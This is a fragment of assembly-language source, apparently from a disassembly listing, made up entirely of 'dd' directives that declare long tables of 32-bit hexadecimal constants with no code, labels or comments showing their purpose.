		dd 6E189F66h, 5E289639h, 7100A846h, 22F7C64Bh, 6530B09Ah
		dd 9F5AE183h, 94637149h, 0BC440064h, 89CD0171h,	0EAE8F60Ch
		dd 4A23499Ch, 0C82C1296h, 1C012CF4h, 941E8629h,	80517285h
		dd 0A4666DB0h, 16E76E10h, 74B6FA57h, 9C34CAF0h,	81F3FB09h
		dd 9530A0B0h, 1EF8D7C0h, 48D1861h, 8ED0C697h, 0C0B68814h
		dd 0DBA8D223h, 0AC84555Bh, 73BC8CF8h, 1518708Ch, 0A8834ACDh
		dd 45136C09h, 5478D0D0h, 4A6DAE88h, 6E000821h, 9A4FBA00h
		dd 90C3D561h, 8489B556h, 0CF11181Dh, 52C0DB8Bh,	0FD0EF7BDh
		dd 578FC3C5h, 2B272420h, 5AD40075h, 0DDB834A1h,	1400C667h
		dd 59F5EEB6h, 1D06F3B0h, 805097E9h, 0DB2425Dh, 0BC9CF152h
		dd 1A8465Eh, 0E913F52Fh, 198CA2EAh, 0ACB1BF85h,	0A1E4FF02h
		dd 0D4AFC945h, 497E9D4h, 5D871311h, 9BB10199h, 0ECDEF253h
		dd 14DED06Ah, 0D462428Dh, 89490F31h, 0A2946367h, 78C30B7h
		dd 4FA0DE17h, 4677F090h, 20E65947h, 0C52410h, 0F71778C4h
		dd 90A95F76h, 3EAF2768h, 0E30AF868h, 97CF1D20h,	3FAD0C24h
		dd 511CA923h, 50B8B081h, 3FC5B795h, 94B89479h, 0E15F4C16h
		dd 5FBC84B0h, 0EC7B6Dh,	31FD9F35h, 196F0104h, 21797BB0h
		dd 74203EC6h, 1DD518AFh, 80D8B367h, 0EFCEF2C7h,	0C3397071h
		dd 3CA4AEC0h, 7B066F00h, 1896654h, 6423D3D2h, 3409136Dh
		dd 4A122524h, 0C430869Bh, 50BB673Eh, 1CCC8ABh, 24408497h
		dd 0F80CB0C0h, 16449EF6h, 0A69D0074h, 9810ECCBh, 560035BDh
		dd 5AF23009h, 0A3A1ABh,	0D86C9C4h, 3D3FAF3Eh, 809C3D97h
		dd 1506CBA5h, 6805D4F1h, 6EC1DEA8h, 92888C40h, 315FB26Fh
		dd 29E03604h, 7CF002B3h, 0B8550920h, 0F860C06Fh, 98CC10A0h
		dd 27653EBCh, 0A1ED9F18h, 2403466Bh, 0D40B18C2h, 2D8EF158h
		dd 0F0507881h, 7A9ACA3Ch, 0B118780Ch, 8E2202CCh, 0C559130Dh
		dd 46C43CF4h, 0B2A4E234h, 694C30CAh, 2534FCF0h,	88B258BAh
		dd 13B71B00h, 0DC8E603Ah, 5DAFBB17h, 7223083Ah,	49896D01h
		dd 6C601E5Eh, 183590DCh, 10E92251h, 11B535E2h, 74D2D4BCh
		dd 5F50F4DCh, 0A900D5B2h, 0E7486117h, 12E23D78h, 939ED46Eh
		dd 98CBE884h, 10583948h, 6C0E8F83h, 0A04FF826h,	0A53C0E00h
		dd 3E0B76EAh, 0E0CF8CBFh, 9D861914h, 22E0A080h,	1795D5FBh
		dd 80CF9170h, 659D629h,	0E30738FEh, 0AF54E9A6h,	563C410h
		dd 0A19FB100h, 878F7553h, 0BA490037h, 0AC2677CAh, 7D0FF0ECh
		dd 166D06FFh, 0B5C838CBh, 0E863F0C0h, 2539FAC9h, 89C5FF5h
		dd 9F95B9E6h, 807D11E4h, 0C17F91CAh, 99E0B850h,	7AB00EECh
		dd 7AC42999h, 58E26474h, 6D3113B2h, 2DAB5F0h, 0A5692F72h
		dd 90500B32h, 351CF80Bh
		dd 64E847A6h, 2AA860B2h, 0B118000Bh, 1CBB0CE6h,	34B127AFh
		dd 50C45703h, 0E2CEC1A8h, 0C674307Ah, 4000961Dh, 0B8B1ADAEh
		dd 542DAD9h, 3C2EC71Bh,	0BC9CECD2h, 8D008C7Fh, 65B006EAh
		dd 26FE02h, 0B17294CAh,	0A19EF59h, 0C28D8BEh, 0C2A51318h
		dd 16621BF8h, 0E4D76A97h, 0B0B9B300h, 9D33C304h, 419A40A4h
		dd 48D9E8EEh, 6284AF54h, 7C110A00h, 8ACED15Fh, 58540E9Dh
		dd 0A56027D5h, 0E67F97CDh, 8F5482BDh, 650C0260h, 0B179C051h
		dd 2AF4E418h, 796B383Dh, 0E6B7D800h, 36282B61h,	0A16C48D4h
		dd 49C0420Eh, 23183BF2h, 0DFAE0016h, 0CBD078E0h, 0F7AAE500h
		dd 3CBA7A62h, 8091B0B7h, 2D9FC2E0h, 20C4F9E9h, 18DF0D20h
		dd 19073EFAh, 0A1604FF9h, 8917AEC1h, 5F7700F0h,	6372E4F4h
		dd 0D109E918h, 9048A63Ch, 159F23Ch, 6BC689E8h, 0FE8360AFh
		dd 1C4474C7h, 0CB43B067h, 20022713h, 0B8B784DDh, 5E70745Eh
		dd 6D16B446h, 27F1005Eh, 0F545CA92h, 443F995Bh,	803FCB23h
		dd 0A7D9E461h, 0B22651Dh, 836EA69Ah, 75221478h,	0BC9E0426h
		dd 0AB1A76B9h, 189B2456h, 9547DF9Fh, 2A790407h,	0EAE8EC97h
		dd 0A8489549h, 8A37BF32h, 80D018E0h, 3C2348CBh,	0B0546FDAh
		dd 6E4E4AF8h, 0E5370314h, 88BA6D08h, 60E16CB7h,	69AF2156h
		dd 901F673Ah, 4E18637Eh, 5D241B19h, 0FB0E78B2h,	2D6CBC5h
		dd 0E3124940h, 0D420ACDAh, 648905ABh, 0E15DCA9Eh, 6B60E440h
		dd 80E92B3Ch, 0D920BC07h, 5275EB0Bh, 8B50A018h,	0CF24D80h
		dd 12BF4910h, 7030BA83h, 256A2564h, 406995D3h, 0B729AF19h
		dd 2B890768h, 50CC21F7h, 4040EEAAh, 24B905BBh, 0C0187AD1h
		dd 6E8D6209h, 709F00C4h, 0C0AB4F5Bh, 957A3F71h,	980044BDh
		dd 2C14FF97h, 3C801541h, 5F80CB13h, 5167EF0Fh, 48B6ED9Ah
		dd 41A44F8Ch, 57C0121h,	23241F36h, 24097145h, 0BF2D3C2Ch
		dd 0C5B480C0h, 4C5C3A21h, 29053C4Bh, 0B82631EFh, 65767030h
		dd 0CC6E995Fh, 3A31CF00h, 0ACB6D14Eh, 785D1E31h, 0F600AF78h
		dd 151761F8h, 6430EE0Ah, 3C4913Ch, 5067CE84h, 0A6803DC6h
		dd 7101E74Eh, 8C59B8DEh, 6E3F379Ah, 0B4CB0h, 99BEF9F6h
		dd 1242BA52h, 0B3045F9Ch, 3015A2FCh, 7158C24Fh,	6D648064h
		dd 0E3E8CEh, 8947C521h,	9875DD66h, 3BA60100h, 0BB6ED6C9h
		dd 3F496A7h, 4FEE901Dh,	805BB2E3h, 23807C9Bh, 0BF7347AFh
		dd 0F7CF5B00h, 0E8759C26h, 7C15BFD4h, 446D2640h, 0EFB52E99h
		dd 0FFB812A8h, 0EB488A0Fh, 1274F1F4h, 0DAE8F49Eh, 153CF500h
		dd 3A4C5F8Ah, 7ADC04C9h, 0A932F8D6h, 764B824h, 5B26D442h
		dd 86CBE29Dh, 80AC34F3h, 2B74674h, 96929DC4h, 1608C448h
		dd 450A542Bh, 0E26D3F81h, 4B46C454h, 0A2E6E805h, 7BAF128Ch
		dd 39B070ACh, 568267F5h, 0ED00DC78h, 0B9786577h, 262256C7h
		dd 25A562B6h, 42127C5Ah, 5CE96DB7h, 0CB5BD10h, 79FA841Dh
		dd 3E240BBFh, 0A0F27508h, 0B25C744h, 0CE7BD58Dh, 493DA481h
		dd 8BB608D4h, 91004A8Bh, 48721F59h, 0EAF6353h, 0F7C0F968h
		dd 0D3ECA101h, 4AD46C9Ch, 9700747Bh, 0A61ACDC3h, 0E4072A19h
		dd 40074DC6h, 41550672h, 31A4C4B6h, 7E84031Ch, 0B85A3A67h
		dd 32EDC472h, 630E8C81h, 83E423AAh, 0E05BB73Ah,	5449FB6Eh
		dd 0CA1ACB9h, 0A09F817Bh, 88A48558h, 0C48A8203h, 0E0A833E8h
		dd 0F4B21F60h, 94BD384Fh, 25D0B6FEh, 19C1F8CDh,	0EBDDDE79h
		dd 5C380D6Ah, 0CCE2D498h, 622329C1h, 8025848Fh,	0B9F702Ch
		dd 2461576Ah, 84902AC2h, 8483A9h, 784A95D6h, 8EEC83Dh
		dd 21E6E931h, 183AF066h, 707F58B4h, 0B95B41CCh,	0D835BFC8h
		dd 83B48F81h, 3CD511C2h, 40C0F060h, 9E4E16C3h, 0CA232C2Fh
		dd 0AB25300h, 0D3C0E51Bh, 2FE804F0h, 73C70E8Ch,	0B5232C3Ah
		dd 0A6EEF501h, 3EC85643h, 802F5A6Fh, 0A30D4228h, 761CE912h
		dd 0CEF2F0A2h, 95E6330h, 0BD6F8FDEh, 5685D804h,	2F3000C9h
		dd 3C7F17DFh, 0F28CF2A5h, 0EC0B317Bh, 0FA71BDC9h, 9F421500h
		dd 0F33ACDF8h, 4864B497h, 0BB0C08C0h, 0F9227509h, 4B5D1DBCh
		dd 34C2B1C9h, 0CE11CC1Dh, 0A5475580h, 7D169BF0h, 4CD01BE3h
		dd 0BCD1D396h, 7E465EA0h, 0C504100h, 1A769D07h,	0F771A460h
		dd 501DC6FDh, 50CF88h, 572594BBh, 0EED830A7h, 3B01A8A0h
		dd 0EB0B3404h, 75BEBB11h, 80F4A8F8h, 71CAC0BDh,	382E855h
		dd 0B0AC05E7h, 21256167h, 0B5D85875h, 30B5ACB2h, 0C404B180h
		dd 1F74B65Ah, 98136D07h, 26F850C7h, 64E6DA0Fh, 811B8306h
		dd 4E182FCDh, 4BE0484Dh, 2B26E29h, 0E4DF338h, 15F5A08h
		dd 0C11B636Ch, 12FD9464h, 0CBD0C601h, 0C0B2C8A4h, 904820DBh
		dd 7CE17401h, 25AF4F45h, 7A04442Ah, 0C771813Dh,	5F483088h
		dd 0C8EF8941h, 5AAB24AFh, 62542860h, 0F9694F20h, 0C8E2B823h
		dd 267CBA30h, 80C5FD2h,	4703944Fh, 82E26FE7h, 888CD118h
		dd 21978AB3h, 2241CE0h,	7B35FF3Fh, 0A8FE1895h, 0DFEC68A8h
		dd 4DCF680h, 112676D1h,	0EC54ECFBh, 0F008CC2h, 33D00935h
		dd 30478D3Fh, 4DA9F301h, 0A74518A0h, 0C810207Eh, 8C755313h
		dd 5927B900h, 7F0A2301h, 0E17117DFh, 232C3B5Dh,	0E4D30111h
		dd 7B361DDDh, 85FBE848h, 879425E8h, 0B402CB64h,	0CCD9743Dh
		dd 19F87311h, 0CBC4DB48h, 0E0930FBFh, 0F53DA85Eh, 0B3D84ADDh
		dd 0CC2F4FACh, 0BA077F23h, 5F312CE4h, 802AFE6Fh, 6DB07708h
		dd 0C7806C9Eh, 96B90CFDh, 7CE30239h, 1DFA2167h,	979FE4DAh
		dd 807991A8h, 630F2B78h, 93600585h, 0C8EFE95Ch,	0E15E8988h
		dd 1AC50832h, 8A506873h, 94010202h, 0C319FF4Fh,	0E982E456h
		dd 0D4BA338Ch, 524560D0h, 1F00C47Ch, 64FC1776h,	7A6905Dh
		dd 0D1D993Eh, 8178845Ch, 27FF3C4h, 85ECF65Fh, 0E032192Eh
		dd 0E61EE870h, 0B944CD28h, 12BFEFC0h, 0E2A4E228h, 7BBC307Eh
		dd 0E6C63500h, 99625FCCh, 0E24918EAh, 0BF26681Fh, 360C6995h
		dd 22758824h, 6898EF19h, 65213467h, 0A6ACD9CBh,	0CB465C60h
		dd 28F01125h, 0E0445C79h, 0B924021Dh, 0FD2AC1B1h, 67549855h
		dd 15722729h, 0C46D5CAEh, 40882A89h, 28BE27BCh,	3BF614C1h
		dd 2180089Bh, 0AE1EC22Eh, 9F3D8909h, 7598C08Ch,	4434BC18h
		dd 0F153226Eh, 0FDAF00B0h, 5F7D9072h, 0FF934Ch,	0BBBC288Fh
		dd 9648058h, 0CD1104A1h, 3CDCE8D4h, 0F86124Bh, 81EC9FE6h
		dd 2F71CD1Ch, 869BA100h, 9421AE0Dh, 1B851028h, 0A3105E5Fh
		dd 0F0E9C46Bh, 0C34B88BCh, 7194B490h, 9873BAh, 766BC9CEh
		dd 73A44834h, 0D9479900h, 0E829C3DBh, 0CE4913E9h, 0B2D4E3ECh
		dd 3ABA31CBh, 0E7438420h, 637300A0h, 5F1CC4C9h,	0FF013A15h
		dd 27D426CBh, 60DC7804h, 40E912DCh, 0A7CCB00Bh,	95622580h
		dd 2BC234E9h, 9DF78C43h, 2394D88Eh, 457B0119h, 22C32BEFh
		dd 0EA208996h, 5EB05E5Dh, 0E300C846h, 256BDC61h, 9662034Ah
		dd 2163CC78h, 0F468FE66h, 11C0A04Fh, 0FBDC91F2h, 436D3E86h
		dd 40C1E31Eh, 5B312B24h, 322551EFh, 0FE40FA1Ah,	0F1D099A6h
		dd 33C81973h, 0C490001Dh, 69B4BDBBh, 6F76FEC6h,	8250A53Fh
		dd 3CFDC5B0h, 0E4855FD5h, 4301263h, 9726D218h, 1913B1ACh
		dd 6AD060B6h, 530487E1h, 20C03E8h, 0C35B3920h, 245C8901h
		dd 98448104h, 43211A08h, 40C30053h, 0EAC15688h,	8D1DF60Fh
		dd 3A0C6585h, 8C575006h, 6BC35F2Eh, 88287C14h, 5747801Ch
		dd 0D43BB9C3h, 0FB78C100h, 8BAB0C93h, 7D75B5h, 0C0830637h
		dd 0F1958905h, 0E99013C3h
		dd 52430E09h, 0C07F8ABFh, 0B92ED325h, 60185650h, 72230FE8h
		dd 856C0368h, 0C71B45F9h, 239B6BB8h, 0A70DA007h, 0E17FBA58h
		dd 5F61729Dh, 0F105C91h, 0A0AB8301h, 0F4534AC7h, 0DF64018Dh
		dd 0F942D090h, 0FEE8404h, 0E8462C8Ah, 0DC010B14h, 0A0FF60B6h
		dd 0AA60DFC9h, 4DA5000Dh, 50AD6D73h, 8B50A8D6h,	0CC880C95h
		dd 165D1CF0h, 31BD8025h, 0B7515698h, 0D5A75F71h, 726014C4h
		dd 0ED2895FFh, 56009C0Ah, 8D5EF18Bh, 0A0A1359Dh, 31B523D9h
		dd 0FF200725h, 7D85C8D3h, 0E7A92A78h, 72581850h, 448923C3h
		dd 40001611h, 78F4C350h, 9B07BE34h, 0E9368626h,	905C0885h
		dd 815D0922h, 1B196FEDh, 725A1852h, 548923C3h, 42001711h
		dd 3008C352h, 0BDFE54ACh, 0B2019931h, 228707D0h, 0AC12860Fh
		dd 9D718B0Ch, 89202E61h, 0DF8E9985h, 251BE381h,	1155BDE0h
		dd 1BDB0B80h, 6F90850Fh, 0E519E23h, 8944C359h, 2215624Ch
		dd 83805141h, 0BD83F5D5h, 0E6D8C576h, 0C1238496h, 2EBF6627h
		dd 8DC04122h, 60E90112h, 0AB01FBAh, 0BF54C30Bh,	58DF9C01h
		dd 1CEB4DADh, 0AEDFDE0h, 85C74771h, 58011530h, 5E0E5623h
		dd 748944C3h, 4600EA8Eh, 0F8A2C356h, 0E1033B14h, 8D0F7BCAh
		dd 0BF210205h, 37702FCh, 8B0D8D46h, 0B62F89BDh,	25C24209h
		dd 8EBA348Dh, 0C314880Ah, 0F6E866D0h, 0F1D10F7h, 23CEFEB7h
		dd 0C8B99CFFh, 8C1DE887h, 38396801h, 7135EDA8h,	0C19165DCh
		dd 8C66F85Ch, 0A27823DBh, 0A4CA301Ch, 36B8C573h, 3E506C70h
		dd 1B48398Fh, 25598439h, 0F0BF0F00h, 448C3F6h, 49AF3406h
		dd 1D23913Ah, 0B4CD3500h, 80B6BCh, 0DEA8B36Bh, 18E59D89h
		dd 5442792h, 2D990960h,	7879592h, 4E20CD89h, 0C018886Ch
		dd 50C17CFDh, 8B0FFA1Ch, 0E5620824h, 4DDF0F0Bh,	21B1981h
		dd 492011D3h, 0C34CB2h,	918C6F9Dh, 703FC36h, 0A4658D02h
		dd 405E390Eh, 0A7240454h, 601744C6h, 7F3CA71Ah,	77DE0048h
		dd 0E960641Eh, 0F3920426h, 0DB99510h, 24C2B024h, 70E60988h
		dd 1D119A1Dh, 32A40980h, 4E01856Bh, 865F4867h, 0DE22890Fh
		dd 8804F240h, 0BC09BE66h, 3771E417h, 0C88283D1h, 0ABF12DA3h
		dd 1ACD900Ch, 8B735748h, 821B5E0h, 0D8B619C5h, 0C0006E6Bh
		dd 8BFE04Dh, 8407256Ch,	60518F7Ah, 9D036110h, 0CA7DDDDDh
		dd 263FBA5Eh, 29BD0CDCh, 5508C7Fh, 0CE04817Fh, 0C38BEBBAh
		dd 1488F8CEh, 0B50BA0C0h, 5E2860DDh, 304E8C1h, 68B1BD24h
		dd 0E2F76685h, 18C2949Bh, 4C97D82Bh, 7F801C11h,	0FC6C31E9h
		dd 57D41109h, 28870F67h, 892B1D32h, 8D100D41h, 17B92085h
		dd 71C5F540h, 0B8960398h, 9C990151h, 6B259DA0h,	26D2600h
		dd 50229A4Dh, 310F0952h, 0F80585Ah, 0F560241Ch,	4B0BE930h
		dd 0BBDD5Ch, 0E5E49939h, 0A5B3B06h, 0B5FF6116h,	2839224h
		dd 439F4C19h, 0B0E9AB0Eh, 0EAC7F15h, 0AAB3AD01h, 35682132h
		dd 7B941E2h, 66772580h,	0EB4F0DD8h, 0B6B19609h,	11B81F61h
		dd 97BF8215h, 9A140F5h,	0FC50FDBDh, 1C0F613Ch, 2E023383h
		dd 1C467695h, 9E8EE500h, 76C749FBh, 9F168224h, 0A920A8A8h
		dd 9074A62Dh, 24607930h, 206921B7h, 300924F9h, 7B18694Dh
		dd 40001B70h, 0A2AA8BFh, 3F37F80h, 74061455h, 989C0D47h
		dd 1D391505h, 3FFD00B0h, 0C6DFEA31h, 3320002Bh,	4A11FA79h
		dd 0F9A6A47Dh, 81D1F600h, 4325452Bh, 38F0FC17h,	88C85F85h
		dd 718C18FCh, 0DDF81251h, 0D88C15FFh, 403C31BDh, 0A1D7E6FCh
		dd 9AF00AC0h, 0B15861FFh, 181DD13Eh, 1B87F93h, 8A1F0C0h
		dd 8287602Eh, 34880FA0h, 4356401h, 0B9457DF7h, 618ACC07h
		dd 70830940h, 0C7E08DC1h, 270E98Ch, 0D8F8A6EEh,	7960965Fh
		dd 31802395h, 130B18Dh,	860FD93Bh, 0F82328E8h, 83B08C14h
		dd 11D98C2Eh, 39154674h, 0C1F617BFh, 0A09B3748h, 0F5DE1791h
		dd 0E907624Dh, 7E005844h, 0E2644A4Eh, 3C1A087h,	3B6910Ch
		dd 0FFC06581h, 0CFB15BE0h, 4D181BD1h, 0CD5FD500h, 75197A46h
		dd 6E58B860h, 0BDC28359h, 2BCA1FA9h, 2255A982h,	3DC32B00h
		dd 4D084A34h, 5B5935EEh, 684AC06Fh, 92056594h, 0C2DF0B51h
		dd 0D200618Ah, 0DE9FE67h, 0EF0031DEh, 8B4BB0E4h, 370B58C0h
		dd 0FBA82120h, 1260E9D8h, 8249BC2Dh, 0C850005Fh, 0B1DB59E1h
		dd 0F300C53Fh, 679CE7BBh, 3085C736h, 0FD4206B5h, 5750F293h
		dd 0A91A19C7h, 9D660BEEh, 801811B7h, 581BE83Eh,	964990F9h
		dd 8E1CA595h, 3D448534h, 1423E43Ah, 85FF9705h, 55442C19h
		dd 0C3725D18h, 0C06C8921h, 0BDC35545h, 1E51F8A0h, 0B0506C82h
		dd 0E752C6Dh, 168F5256h, 4B90D9B9h, 0C01D885Dh,	2D359E9h
		dd 970BBBEAh, 2B0363Dh,	0B0F01D1h, 13425300h, 0E94E0234h
		dd 296DCE40h, 16AECEDh,	93D43DBDh, 0C50F9177h, 53402987h
		dd 9CEB0004h, 3735834Bh, 0AFF1F2Ah, 0D76C8143h,	0C0888A1Dh
		dd 17A0E83Ah, 72001548h, 0EF43FD19h, 3B838803h,	0C78055E0h
		dd 4DFB1280h, 2494890Fh, 5E33DE61h, 17A20A33h, 1DB7DE30h
		dd 120F2C5Ah, 0E77F02F1h, 0D35B144Ah, 0D7009971h, 8909F707h
		dd 24261185h, 0BBC7FE8Fh, 0C180B14h, 9832A91h, 0AEF0EE32h
		dd 0DF8F7D03h, 906725EAh, 33601B44h, 8702991Ah,	0DBA52B21h
		dd 8BE94060h, 820F37D7h, 0FBEC0D2Bh, 2C61D0DAh,	25D430FBh
		dd 12840441h, 0D020A5B5h, 0FFF7AA83h, 88484BE3h, 9BACC017h
		dd 0F056F72h, 0C18BF1BFh, 1B23AC3Ah, 0C2904100h, 1E081207h
		dd 0F152E4E9h, 41115A8h, 4EBF0C1h, 320B46C2h, 0FFEAD156h
		dd 9EE017CDh, 4EB52B50h, 8DDC07D1h, 5D081585h, 739C8E0h
		dd 0BF669000h, 0A150E7F5h, 2A8CBAB7h, 1C4F13E9h, 0E6B0D00h
		dd 41B95016h, 0BE4500DAh, 9D8C1B2Ch, 0DDE41172h, 0F2906126h
		dd 2828D108h, 8214E7A6h, 1D49A101h, 0B2D7636Ah,	70673117h
		dd 890EC02h, 6EDFB48h, 1CEF2372h, 283F9050h, 70751749h
		dd 53B5AF0h, 0B21B2D88h, 0E23F423Dh, 0D5CC301Ch, 0F235801h
		dd 37AD0A09h, 4E1EE88h,	0B1139D20h, 778461DCh, 2F65EE05h
		dd 0AA8B7924h, 50C11A88h, 6FD915ADh, 54886DFDh,	0B5C925CDh
		dd 91518F2Ch, 0DB0EBA4h, 2B685145h, 805F9BD3h, 620C9C1Eh
		dd 0AD8A0110h, 8BB563B7h, 0D64E6CF8h, 9F800C9Bh, 0FFD57F92h
		dd 0DF13D34Ah, 6D9D2C56h, 64C1EF5Ah, 20B7BB23h,	1241B987h
		dd 1A398B01h, 0BF00A277h, 25398A4h, 0C7004A43h,	0ECEACC61h
		dd 0B012AD9h, 5FE9CDBCh, 0FA128B67h, 0F06F4552h, 0E2912000h
		dd 0DD9D3132h, 0F906492h, 9E2FB22Dh, 76254595h,	2935E052h
		dd 0ADC1549Dh, 48E9B88Bh, 1AF80D1Bh, 0B81B0E8Ch, 0D0C5171Ch
		dd 40D3B3E3h, 6CEDC5B6h, 9F8EC8D3h, 35ACFB60h, 83618140h
		dd 6CFF13BDh, 7A6A96BDh, 0CF071923h, 7FC48539h,	0FA9D0083h
		dd 45C40B14h, 5B1CC1E8h, 20474428h, 4EE62352h, 47C69E1Dh
		dd 66EAA05Eh, 8551C795h, 4FDE6951h, 7F00CA6Eh, 0F0BD4FEFh
		dd 858A15E9h, 1794FD7Dh, 0A6083527h, 59EA85DCh,	0E8D9328Dh
		dd 31007D52h, 90CC474Dh, 0C28527h, 2B42BAAh, 0A911BF0Eh
		dd 5F3CDE16h, 7020CACDh, 682941A5h, 0A2E053A8h,	0BED33015h
		dd 0C12026B8h, 4498B432h, 0E9095213h, 4C5F66F7h, 0BD82A450h
		dd 0E90212F5h, 6D91CA85h, 8ED3E0C2h, 0F70B2D1Ch, 0C40D9EC8h
		dd 230C007Fh, 6EE177E3h, 0F000D157h, 97408328h,	4F215B68h
		dd 436FB0h, 5F15FF7Bh, 24717C0Dh, 87AF5B1h, 0E6090FC1h
		dd 0A78AB770h, 2CC4402Bh
		dd 0BAE28907h, 69C0D454h, 12115C8Ah, 20E871E4h,	2FA3C268h
		dd 759CDD03h, 0E9490693h, 5F2CF99Dh, 2F8B5F2Dh,	0E7C09A6Dh
		dd 3EAB91Bh, 0C5010517h, 31910985h, 0BD03001Ah,	0BA3DF3DDh
		dd 81439B93h, 59BD33B6h, 0BE00342Ch, 21B94174h,	45259529h
		dd 0C2E6A901h, 44BC67DBh, 2622601Dh, 31D30176h,	4E3D9FD6h
		dd 0F9C5704Fh, 283BC29Eh, 5A906382h, 0D82B11E1h, 486EC424h
		dd 1C1562C9h, 0C1BCA924h, 6A694800h, 772FDD28h,	2952260Dh
		dd 25201089h, 0B2B2B35Eh, 31B1AA81h, 6E321D09h,	0DC929CB8h
		dd 6F55F400h, 53575014h, 0AB9B2C73h, 25090B98h,	8E03BCCAh
		dd 0FDD901F6h, 4B6D2622h, 0B728246Ah, 0E81644A9h, 0DF02B4A4h
		dd 0CADBBCC7h, 6BF663Dh, 0D5266352h, 8F86C8FAh,	6A737DA2h
		dd 15AA870h, 0FE33CF27h, 6DF842E9h, 0AA462248h,	44ED4794h
		dd 79076019h, 0DAC100A6h, 9873BEC5h, 8A903486h,	467C809Ch
		dd 0A82F0916h, 978C437Ah, 0C4FE6D89h, 0D9A2819Ch, 0EA09042Eh
		dd 37A329FBh, 8733807Eh, 365AE1ABh, 0A642B712h,	0D3EF8E07h
		dd 598A0FF2h, 1DD9880Fh, 0F280F821h, 6BD1809Ch,	687EB652h
		dd 2500D6BAh, 0F837E363h, 60E957D3h, 0A8841F08h, 4F0A1179h
		dd 90144BCFh, 2A7D9509h, 11EE6A3h, 6C25516h, 44A04758h
		dd 0A8966016h, 284E904Bh, 5F2D2D7Dh, 4A34FC0Fh,	19C8F08Eh
		dd 0FCD4C8C0h, 525516B9h, 4E8EC9F8h, 0C01C88BBh, 11BB35AFh
		dd 9B8C9901h, 800F7412h, 0D7CEF77Ch, 8B50E4E0h,	83255FF2h
		dd 933037C1h, 0F55104F7h, 0EE90625h, 9B0001Fh, 0CDDE0305h
		dd 95FAAB4Fh, 25A4AA0Bh, 84BF698Ch, 0A9418214h,	8C698752h
		dd 44420B1Eh, 8D5E458Fh, 2A1CFD6Ch, 2D583166h, 0C9C92Ah
		dd 8A605BF9h, 86DB81FEh, 120CC6E8h, 40C32B61h, 692E41B9h
		dd 8F2D8A5Ah, 0F672C660h, 33E934F5h, 0BCC5BD14h, 2BA500FBh
		dd 0E6F12939h, 9590C08Bh, 8DD80945h, 9C9AB903h,	0D8A2B2F8h
		dd 0DC4156h, 3C98CA7h, 295048C2h, 0BC18D10h, 0C7FE8B04h
		dd 0FAB985h, 122F9B7Bh,	48D404BFh, 0E67F2811h, 0C02FCA28h
		dd 0DF00D641h, 5F0A5340h, 5B8B22E8h, 30713CF0h,	0C5781A8Bh
		dd 5BD32019h, 91181559h, 0F2A5C150h, 0A02CBEE6h, 51C5AB03h
		dd 2F6DFF04h, 0A7145F0Bh, 1A715FB1h, 4970DC19h,	6FC8BE09h
		dd 0CF47B141h, 25D2EE4h, 0BDB0FD34h, 1973905Fh,	33508570h
		dd 5BC71BEh, 9D2902FCh,	931F5839h, 9807B38h, 326F535h
		dd 5108944Eh, 2D3A2625h, 712B9610h, 0D2001EB0h,	467C0C16h
		dd 0F561D4Bh, 0B841274Ch, 322D98Bh, 0CCF15121h,	750902Fh
		dd 832403C9h, 0B9F3239Ch, 305A6C79h, 0FBF95B4Fh, 0AD39E20Dh
		dd 2DF1EACDh, 8E50641h,	0EE815202h, 3EE95FF0h, 0A84A1F40h
		dd 9855F58Fh, 0EDE000C5h, 0DF52843Dh, 4A942F7Eh, 66CE00DCh
		dd 81744CBFh, 119ABE7h,	0F17C7707h, 1B88294Bh, 118387C1h
		dd 2C134F20h, 8BC7D39Ch, 6762CEE9h, 1911779Dh, 0C6ED0B80h
		dd 725AA449h, 0C5D5D616h, 0F1BDD82h, 0BEBFC180h, 4C5B19E2h
		dd 64DB4A35h, 65DC5480h, 6F1CCADDh, 64E5C5F3h, 2E2900A5h
		dd 7D7F2AB7h, 31000587h, 0FC81C8F0h, 48FA8654h,	0BD10F708h
		dd 855E2D18h, 1988E8C3h, 0C2890015h, 147C886h, 420327B7h
		dd 9B76FEB6h, 0F1E21057h, 5E5F160Ah, 0AD4E80CDh, 9BC01888h
		dd 795F2F0h, 5E529045h,	276D4B50h, 0BF2B93C0h, 0EA5A01ADh
		dd 0F2736CAh, 1FB8628Bh, 3F091BBEh, 9CAD1859h, 0C76409F5h
		dd 23B8386Bh, 0A00611B0h, 0F78BA1EBh, 0BCAA9990h, 755AE683h
		dd 13A83261h, 4915963Bh, 5D82CFD4h, 2722B815h, 0EC48E0Fh
		dd 0B778508h, 1946763Bh, 0D285B701h, 50A750C4h,	538D7D79h
		dd 753F2100h, 2C96E4B4h, 0EB9B01B3h, 0B5A4BAD2h, 4AE96CF4h
		dd 0B400F36Eh, 0D4D7ADAAh, 90382C4Dh, 102BCCC7h, 147925FDh
		dd 0CB830F50h, 177415C7h, 61CDDB2Eh, 0D2AB82C0h, 1A81987Ah
		dd 489871C7h, 8D0033D1h, 0AC92DA1Ch, 84351FBEh,	0C916808Ah
		dd 0B06BDF25h, 89301B60h, 0B611D99Dh, 39C55ADCh, 4F601BC4h
		dd 0B804B21Dh, 5E76FB2Dh, 0DB68C6F1h, 5ABD29C7h, 2BD30138h
		dd 6D09D5B5h, 0EB00D2C2h, 3FEBB198h, 39845BE9h,	70BC987h
		dd 0C51998CEh, 1C970064h, 848A2104h, 22712B1h, 9A6DA7E8h
		dd 1B959050h, 0B7290077h, 0BD03D9BFh, 0C9A0D91h, 0F3856CE3h
		dd 0A2FDD41Ah, 5D0399E8h, 0B9794085h, 0D0F84B28h, 0C19D8B0Ah
		dd 3FAD39B2h, 0F34674E0h, 9D1E6F2h, 1FABD5B1h, 56063704h
		dd 4F93C714h, 5356DDDh,	5F229769h, 1BD78100h, 8301F9B4h
		dd 95D16BDh, 3795D23Bh,	0E6F60F5Ch, 8395B4E8h, 46A186EDh
		dd 6813508Fh, 4E02AFC7h, 0AD3BE069h, 25B5C19Eh,	1B85E517h
		dd 0F487BD44h, 25E1A216h, 13FF62D1h, 10448515h,	691D1ACDh
		dd 0B52984B7h, 3FFFF191h, 0F7B62174h, 0E08012A2h, 0B0B4619Fh
		dd 0BD1631EAh, 7AD908F5h, 1788AB4Bh, 91D5B7C0h,	2D42B05Dh
		dd 7CB12AC1h, 70501285h, 275E5BDAh, 0D1B4A046h,	0A50077B7h
		dd 0E863BCAFh, 135ADEC6h, 0F2AA46FDh, 0DCA8F9h,	0DFE9A5E1h
		dd 0B8DA9EBFh, 2FE8054Ch, 0F36E380Ah, 0C2C61394h, 5286042Dh
		dd 6D56CC51h, 0F20016F2h, 0CE1E094Bh, 8D5399h, 19FD3F59h
